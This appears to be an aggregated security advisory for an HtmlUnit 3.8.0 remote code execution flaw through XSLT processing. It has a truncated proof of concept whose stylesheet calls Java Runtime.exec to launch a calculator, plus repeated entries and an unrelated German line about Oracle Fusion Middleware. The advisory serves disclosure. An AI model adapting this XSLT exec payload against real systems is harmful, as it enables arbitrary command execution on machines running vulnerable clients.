HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0

Affected: Maven: org.htmlunit:htmlunit

### Summary HtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage

### Details Vulnerability code location: org.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)

The reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor

### PoC pom.xml: ``` <dependency> <groupId>org.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>3.8.0</version> </dependency> ```

code: ``` WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER); HtmlPage page = webClient.getPage("http://127.0.0.1:8080/test.html"); System.out.println(page.asNormalizedText()); ```

test.html: ``` <script> var xslt = new ActiveXObject("Msxml2.XSLTemplate.6.0"); var xslDoc = new ActiveXObject("Msxml2.FreeThreadedDOMDocument.6.0"); var xslProc; xslDoc.async = false; xslDoc.loadXML(`<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,'open -a Calculator')"/> <xsl:variable name="processString" select="ob:toString($process)"/> <span><xsl:value-of select="$processString"/></span> </xsl:template> </xsl:styleshe…

Affected: Ubuntu:Pro:16.04:LTS: htmlunit, Ubuntu:Pro:18.04:LTS: htmlunit

HtmlUnit is a GUI-less browser for Java programs. HtmlUnit is vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage. This vulnerability has been patched in version 3.9.0

Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle Fusion Middleware ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.